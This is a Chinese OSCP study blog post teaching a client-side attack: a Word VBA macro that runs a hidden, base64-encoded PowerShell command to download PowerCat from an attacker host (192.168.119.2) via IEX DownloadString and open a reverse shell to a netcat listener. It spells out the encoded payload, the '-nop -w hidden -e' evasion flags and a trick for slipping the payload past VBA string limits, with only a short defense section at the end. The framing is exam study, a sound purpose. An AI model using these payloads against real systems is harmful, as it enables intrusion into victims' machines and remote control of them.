当前位置: 首页 > news >正文

6-3〔O҉S҉C҉P҉ ◈ 研记〕❘ 客户端攻击▸通过宏文件实现反向shell

      郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。 

    💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥 
    更多文章戳👉
晖度丨安全视界-CSDN博客🚀(原名:whoami!)​​​​​

​​​​


𖤐 客户端攻击通常是欺骗用户在操作系统上执行恶意代码,小心啊 ! 

𖤐 𝓒𝓵𝓲𝓮𝓷𝓽-𝓼𝓲𝓭𝓮 𝓪𝓽𝓽𝓪𝓬𝓴𝓼 𝓾𝓼𝓾𝓪𝓵𝓵𝔂 𝓽𝓻𝓲𝓬𝓴 𝓾𝓼𝓮𝓻𝓼 𝓲𝓷𝓽𝓸 𝓮𝓍𝓮𝓬𝓾𝓽𝓲𝓷𝓰 𝓶𝓪𝓵𝓲𝓬𝓲𝓸𝓾𝓼 𝓬𝓸𝓭𝓮 𝓸𝓷 𝓽𝓱𝓮 𝓸𝓹𝓮𝓻𝓪𝓽𝓲𝓷𝓰 𝓼𝔂𝓼𝓽𝓮𝓶, 𝓼𝓸 𝓫𝓮 𝓬𝓪𝓻𝓮𝓯𝓾𝓵 !


→ 信息收集

→ 漏洞检测

→ 初始立足点

→ 权限提升 ▸客户端攻击▸通过宏文件实现反向shell-----我们在这儿~ 🔥🔥🔥

→ 横向移动

→ 报告/分析

→ 教训/修复  

目录

1 客户端攻击:突破企业边界的社交工程

1.1 通过宏文件实现反向shell

1.1.1 PowerCat简介

1.1.1.1 什么是PowerCat

1.1.1.2 常见的PowerCat命令

1. 创建网络连接

2. 监听端口

3. 数据传输

4. 反向Shell

1.1.2 攻击思路

1.1.2.1 流程示意图

1.1.2.2 思路说明

1.攻击思路        

2.具体说明

1.1.3 详细步骤

1.1.3.1 攻击者准备阶段

1.搭建Web服务器

2.开启Netcat监听

1.1.3.2 定义字符串变量Str

1.1.3.3 构造恶意PowerShell命令

1.下载PowerCat

2.使用powercat工具建立反向Shell

1.1.3.4 Base64编码绕过检测

1.1.3.5 解决VBA字符串限制问题

1.1.3.6 更新完整的宏VBA代码

1.1.3.7 投放带有恶意代码的Word宏文档

1.1.3.8 实现反向Shell

1.2 防御措施

💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬


1 客户端攻击:突破企业边界的社交工程

1.1 通过宏文件实现反向shell

1.1.1 PowerCat简介

1.1.1.1 什么是PowerCat

PowerCat = PowerShell + Netcat,是用 PowerShell 写的 Netcat 风格工具。

PowerCat 主要是在 Windows(通过 PowerShell)下使用的。不过在安装了跨平台的 PowerShell Core(pwsh) 的系统上(例如某些 Linux / macOS 环境)也可以运行,因此不是严格仅限 Windows,但常见用途和传播环境以 Windows/PowerShell 为主。

用途:端口监听、端口转发、简单文件传输、反向/绑定连接等(可被系统管理员用于排错与运维,也常被滥用于入侵/横向移动)。

为什么选择PowerCat?

  • ✅ 纯PowerScript实现,无需额外工具

  • ✅ 绕过传统安全检测

  • ✅ 功能强大,支持多种网络操作

  • ✅ 易于集成到宏攻击中


1.1.1.2 常见的PowerCat命令
1. 创建网络连接

想象场景: 你的电脑想给另一台电脑"打电话"。

PowerCat -c 192.168.1.1 -p 1234
组成部分实际作用
-c 192.168.1.1指定要连接的目标电脑IP地址
-p 1234指定要连接的网络端口
PowerCat启动网络连接工具

实际应用:

  • 连接到网络服务器

  • 测试网络是否通畅

  • 与远程设备通信

2. 监听端口

想象场景: 开一家店铺,打开大门等待顾客上门

PowerCat -L -p 1234
组成部分实际作用
-L开启监听模式,等待连接
-p 1234监听特定的网络端口
PowerCat启动网络监听服务

实际应用:

  • 搭建临时文件服务器

  • 接收其他电脑发来的数据

  • 等待远程连接请求

3. 数据传输

想象场景: 把本地文件打包,通过快递发送给朋友

        A. 发送文件(寄出包裹)

PowerCat -c 192.168.1.1 -p 1234 < C:\file.txt
组成部分实际作用
< C:\file.txt指定要发送的本地文件(在C:\file.txt)
-c 192.168.1.1 -p 1234指定接收文件的电脑地址和端口

       B. 接收文件(收取包裹)

想象场景: 在家等待快递员送货,收到后保存到接受方本地的指定位置C:\received_file.txt

PowerCat -L -p 1234 > C:\received_file.txt
组成部分实际作用
> C:\received_file.txt接收方指定接收文件的保存路径
-L -p 1234开启监听,等待文件发送过来

实际应用:

  • 在两台电脑间传输文件

  • 备份数据到远程位置

  • 共享文档或配置

     🎯这里有个很重要的问题展开说说:从发送方角度看,其C:\file.txt的文件内容最终发到何处,取决于接收方运行的程序

PowerCat -c 192.168.1.1 -p 1234 < C:\file.txt 

详细说明:

  • 发送端(运行该命令的主机)

    • C:\file.txt 是发送端的本地文件。
    • 重定向 < 把文件内容喂给 PowerCat 的标准输入,PowerCat 把这些字节写入到与 192.168.1.1:1234 的 TCP 连接。
  • 网络传输

    • 数据作为原始字节流通过 TCP 发送,经过网络、路由、可能的防火墙/IDS,抵达目标 IP 和端口。
  • 接收端(目标主机)接收到这些字节后会怎样,取决于目标上运行的程序:

    • 如果目标在 192.168.1.1 的 1234 端口上有一个监听器/接收程序(例如:类似 Netcat/PowerCat的监听进程或自定义服务),该程序会从网络套接字读取字节流。
    • 接收程序可以:
      • 直接在内存中处理这些数据(例如作为输入喂给另一个进程),
      • 将字节写入到目标主机的一个文件(例如写成 received.txt),本例。
      • 作为命令或数据进一步处理(取决监听程序功能)。
    • 重要:网络传输本身不包含原始文件名或文件系统路径。文件内容会到达接收端,但接收端是否保留原名 C:\file.txt、把它保存到哪个位置、用什么名字保存,完全由接收端的程序决定。

取证/检测要点(防守视角):

  • 查找可疑的出站连接到不常见 IP/端口,尤其是伴随 PowerShell/PowerCat 类进程启动的连接。
  • 在目标主机上查找近期创建或修改的文件、或监听进程(特别是在非标准端口)。
  • 审计 PowerShell 命令行、Sysmon(进程创建、网络连接)和防火墙日志以还原“谁向谁发送了什么”。
  • 注意:即使目标没有保存文件,数据仍可能被接收端在内存中处理或传递到第三处 — 仅基于网络流量和日志判断很重要。
4. 反向Shell

想象场景: 特工行动 - 让目标人物主动联系总部并交出控制权

PowerCat -c 192.168.1.2 -p 1234 -e powershell.exe
组成部分实际作用
-c 192.168.1.2 -p 1234攻击者连接的目标IP和端口,即,PowerCat 会连接到 192.168.1.2 上的 1234 端口
-e powershell.exe在目标电脑上执行指定程序
整个命令当 PowerCat 成功连接到 192.168.1.2 上的 1234 端口时,它会启动一个 PowerShell 会话,并将该会话连接到远程目标。

🔄 正向Shell vs 反向Shell:

正向Shell(传统方式):

攻击者 → 连接 → 受害者
(像主动敲门进入别人家)

反向Shell(聪明方式):

受害者 → 连接 → 攻击者
(像让目标主动来找你,更容易绕过安保)

为什么反向Shell更危险?

  • 绕过防火墙:很多防火墙允许内部向外连接,但阻止外部向内连接

  • 隐蔽性高:看起来像是正常的外出连接

  • 可靠性强:不受网络环境限制


1.1.2 攻击思路

1.1.2.1 流程示意图


1.1.2.2 思路说明
1.攻击思路        

        通过VBA宏(通常嵌入到Excel文档、Word等文档中)执行 PowerShell 命令,任务是:
        ①让目标去下载 PowerCat脚本;②然后通过 PowerCat建立反向Shell
        另外:由于 VBA 对字符串长度有限制,需要通过一些技巧来处理较长的 Base64 编码的 PowerShell 命令。

2.具体说明

  • PowerShell 下载工具(Base64 编码):

    • 由于 PowerShell 命令通常较长,因此采用 Base64 编码 来避开字符长度限制。
    • 将 PowerShell 下载命令编码为 Base64 格式后,避免直接将其嵌入为单一字符串。
    • 反向 Shell 的目标是让攻击者控制目标系统的命令行接口。
  • VBA 字符串长度限制:

    • VBA 字符串限制: 默认情况下,VBA 对单个字符串的长度限制为 255 个字符,因此不能将完整的 Base64 编码 PowerShell 命令直接作为字符串传递。
    • 解决方案: 通过 拆分 长字符串并存储在多个变量中,之后将其 连接 回完整的 Base64 编码 PowerShell 命令。
  • VBA 代码实现:

    • 分割字符串: 将 Base64 编码的 PowerShell 命令拆分为多行字符串,每行不超过 255 个字符。
    • 拼接字符串: 使用 & 操作符连接所有的拆分字符串,构造完整的 PowerShell 命令。
    • 执行 PowerShell 命令: 在拼接后,执行该 Base64 编码命令并将其解码执行,下载 PowerCat 并执行反向 shell。
  • 反向 Shell 操作:

    • PowerCat:用于在目标主机上建立反向连接,连接到攻击者指定的 IP 和端口。
    • 攻击者监听: 攻击者在指定端口监听连接,反向 shell 一旦成功建立,攻击者就可以控制目标系统。
  • 简化步骤:

    • 编写 Base64 编码的 PowerShell 命令(用来下载 PowerCat 工具并启动反向 shell)。
    • 在 VBA 中声明多个字符串(每个字符串不超过 255 字符)。
    • 使用 & 连接这些字符串,生成完整的 PowerShell 命令。
    • 使用 Shell 或 CreateObject("WScript.Shell") 来执行拼接后的 PowerShell 命令。
  • 编码与解码:

    • 在执行之前,Base64 编码的 PowerShell 命令需要解码为原始 PowerShell 脚本。
    • 解码后的 PowerShell 脚本将负责从远程下载 PowerCat 工具并执行反向 shell。

1.1.3 详细步骤

回顾:在前一篇文章中,我们的宏代码如下图。

目标用户双击该文档,实现自动执行宏命令,并自动打开目标主机的powershell。效果如下图:

现在,从这继续。返回到宏编辑器继续编写宏代码,主要是构造PowerShell命令并被执行。


1.1.3.1 攻击者准备阶段
步骤命令说明
终端1. 启动Web服务器python3 -m http.server 80📡 托管powercat.ps1脚本
终端2. 开启Netcat监听nc -lvnp 4444👂 等待反向Shell连接
1.搭建Web服务器

    攻击者将powercat.ps1文件放置到当前工作目录(或指定目录),然后在本地终端1窗口执行以下命令启动简易 HTTP 服务器(默认监听 80 端口)。
    本地指:攻击者主机192.168.119.2

$ python3 -m http.server 80

2.开启Netcat监听

    攻击者在本地终端2窗口执行以下命令,打开本地4444端口监听,等待回连的反向shell。

$ nc -lvnp 4444


1.1.3.2 定义字符串变量Str

    接下来,使用Dim关键字声明一个名为Str的字符串变量。

    这个变量Str用于存储后续的PowerShell命令(下载工具和创建使用PowerCat的反向shell)。宏代码做出如下更新:


1.1.3.3 构造恶意PowerShell命令
1.下载PowerCat

    目标主机到攻击主机处下载PowerCat.ps1脚本工具。

IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.2/powercat.ps1')
2.使用powercat工具建立反向Shell

    马上使用PowerCat.ps1脚本,在目标主机上建立反向shell。
    -e powershell :表示通过这个连接执行 powershell.exe,这会在目标主机上自动启动PowerShell会话,并将其连接回到攻击者的机器(的4444端口)。

powercat -c 192.168.119.2 -p 4444 -e powershell

    上述1、2命令拼在一起如下:用号连接。

命令说明:

组件类型功能描述详细说明
IEXPowerShell cmdlet🎯 命令执行引擎Invoke-Expression的简写,将字符串作为PowerShell代码执行
New-Object System.Net.WebClient.NET对象创建🌐 网络下载工具创建一个WebClient对象,用于从HTTP/HTTPS地址下载内容
.DownloadString('http://192.168.119.2/powercat.ps1')方法调用📥 脚本内容下载从攻击者服务器下载powercat.ps1脚本的文本内容
powercat -c 192.168.119.2 -p 4444 -e powershellPowerCat命令🔄 反向连接建立使用下载的PowerCat建立反向Shell连接

数据流行示意图:

[受害者电脑] 
    ↓ 执行恶意宏
[PowerShell进程]
    ↓ IEX(下载命令)
[攻击者服务器:192.168.119.2] ← HTTP下载powercat.ps1
    ↓ 下载完成
[内存加载PowerCat]
    ↓ powercat -c 192.168.119.2 -p 4444
[攻击者监听端口4444] ← 建立TCP连接
    ↓ -e powershell
[交互式Shell会话] ↔ 双向命令执行


1.1.3.4 Base64编码绕过检测

编码前:

经过base64编码后:

SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEAMQA5AC4AMgAvAHAAbwB3AGUAcgBjAGEAdAAuAHAAcwAxACcAKQA7AHAAbwB3AGUAcgBjAGEAdAAgAC0AYwAgADEAOQAyAC4AMQA2ADgALgAxADEAOQAuADIAIAAtAHAAIAA0ADQANAA0ACAALQBlACAAcABvAHcAZQByAHMAaABlAGwAbAA=

综上,完整的变量Str包含的命令为:

Str = "powershell.exe -nop -w hidden -e SQBFAFgAKABOAGUAdwA..."
参数完整形式功能描述使用场景
powershell.exe-🎯 PowerShell启动器执行PowerShell命令和脚本
-nop-NoProfile🚀 跳过配置文件加载加快启动速度,避免配置文件中的安全检测
-w hidden-WindowStyle Hidden🕶️ 隐藏执行窗口恶意脚本执行时不被用户发现
-e-EncodedCommand🔐 Base64编码命令绕过命令行监控,隐藏真实意图

这里注意:标准用法 vs 隐蔽用法对比

场景命令示例可见性用户感知
正常管理powershell.exe Get-Process👀 窗口可见用户能看到执行过程
隐蔽执行powershell.exe -nop -w hidden -e UwB0AGEAcgB0ACAAcAByAG8AYwBlAHMAcwA=🚫 完全隐藏用户无任何感知

但是,-e后面的字符串过长(>255字符),因此我们将命令拆分为多行(存储在字符串中)并进行连接。


1.1.3.5 解决VBA字符串限制问题

问题: VBA字面字符串限制255字符
解决方案: 使用以下Python分割脚本将base64编码的字符串分割成长度为50个字符的小块,并将它们连接到Str变量中。

Python分割脚本:

查看实际运行效果:


1.1.3.6 更新完整的宏VBA代码

把以下内容更新至宏编辑器后,保存并退出文档。


1.1.3.7 投放带有恶意代码的Word宏文档

    此处是投放带有恶意代码的Word宏文档。采用社会工程学的方法让目标点击该文档(并让目标启动宏运行)。如何进行社会工程诱骗这里就不具体展开。


1.1.3.8 实现反向Shell

    目标被成功社会工程后,双击Word文档后,宏代码会自动执行。请注意,关于“启用内容”按钮的宏安全警告不会再次出现,因为刚刚已经启动过了。只有在文档名称更改时才会再次出现。执行宏代码后,观察
    攻击主机的终端1:Python3 Web服务器收到PowerCat脚本的GET请求
    攻击主机的终端2:在Netcat监听器中接收到反向Shell。

     如上图,我们获得PowerShell提示符,可执行命令来查询目标主机的一些信息,例如:

PS C:\Users\Victim> whoami
domain\username
PS C:\Users\Victim> ipconfig
...

1.2 防御措施

1.组织防护建议

防护层面具体措施效果
技术防护禁用宏执行🚫 阻断攻击载体
技术防护应用白名单✅ 只允许可信程序
技术防护网络监控🔍 检测异常连接
管理防护安全意识培训🧠 提高员工警惕性
管理防护邮件过滤📧 拦截恶意附件

2.个人防护建议

  • ⚠️ 不要轻易启用宏:特别是来自不信任来源的文档

  • 🔄 保持软件更新:及时安装安全补丁

  • 🔍 使用安全软件:启用实时防护功能

  • 📚 提高安全意识:了解常见攻击手法

随着用户安全意识的提高和安全技术的增强,传统的宏攻击效果正在减弱。攻击者正在转向更加隐蔽和复杂的客户端攻击方式。


💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬

您的支持是我创作最大的动力!

http://www.dtcms.com/a/552973.html

相关文章:

  • Python 实现 Excel 连续数据分组求平均值
  • 小红书获取笔记详情API接口运用指南
  • SQL 自连接详解:当数据表需要与自己对话(组织层级实战)
  • AI代码开发宝库系列:Text2SQL技术入门
  • 网站充值链接怎么做三亚做网站推广
  • 在Azure webapp中搭建 基于chroma的 RAG agent
  • 【春秋云境】CVE-2024-38856 Apache OFbiz从未授权到RCE
  • 货拉拉用户画像基于 Apache Doris 的数据模型设计与实践
  • JAR 包中替换依赖jar的正确姿势(Windows 环境)
  • linux驱动开发之pr_warn和pr_warning
  • Keil(MDK-ARM)和 STM32CubeIDE对比
  • Linux上使用Docker安装MinIO指南
  • Maven 依赖冲突:解决 jar 包版本不一致的 3 种方法
  • android集成react native组件踩坑笔记(Activity局部展示RN的组件)
  • 多语言网站思路十大h5页面制作工具
  • 汽车之家网站系统是什么做的防爆玻璃门网站建设
  • k8s——services资源+pod详解1
  • 基于深度学习的医疗器械分类编码映射系统:实现篇
  • [人工智能-大模型-122]:模型层 - RNN是通过神经元还是通过张量时间记录状态信息?时间状态信息是如何被更新的?
  • React 18.x 学习计划 - 第六天:React路由和导航
  • 逻辑回归正则化参数选择实验报告:贝叶斯优化与网格搜索的效率对比
  • 建设景区网站推文网站中了木马了怎么办
  • 【JAVA 进阶】重生之我要学会 JUC 并发编程
  • POST 数据提交注入测试sqlilabs less 11
  • 微服务高并发设计考虑要点
  • 解码LVGL Linux 系统(Ubuntu/WSL + 开发板)移植
  • 长春网站制作昆明君创网络科技有限公司
  • 把 CLI 搬上 Web:在内网打造“可二开”的 AI IDE,为什么这条路更现实?
  • iOS 上架应用市场全流程指南,App Store 审核机制、证书管理与跨平台免 Mac 上传发布方案(含开心上架实战)
  • 酒厂网站源码now9999网站提示建设中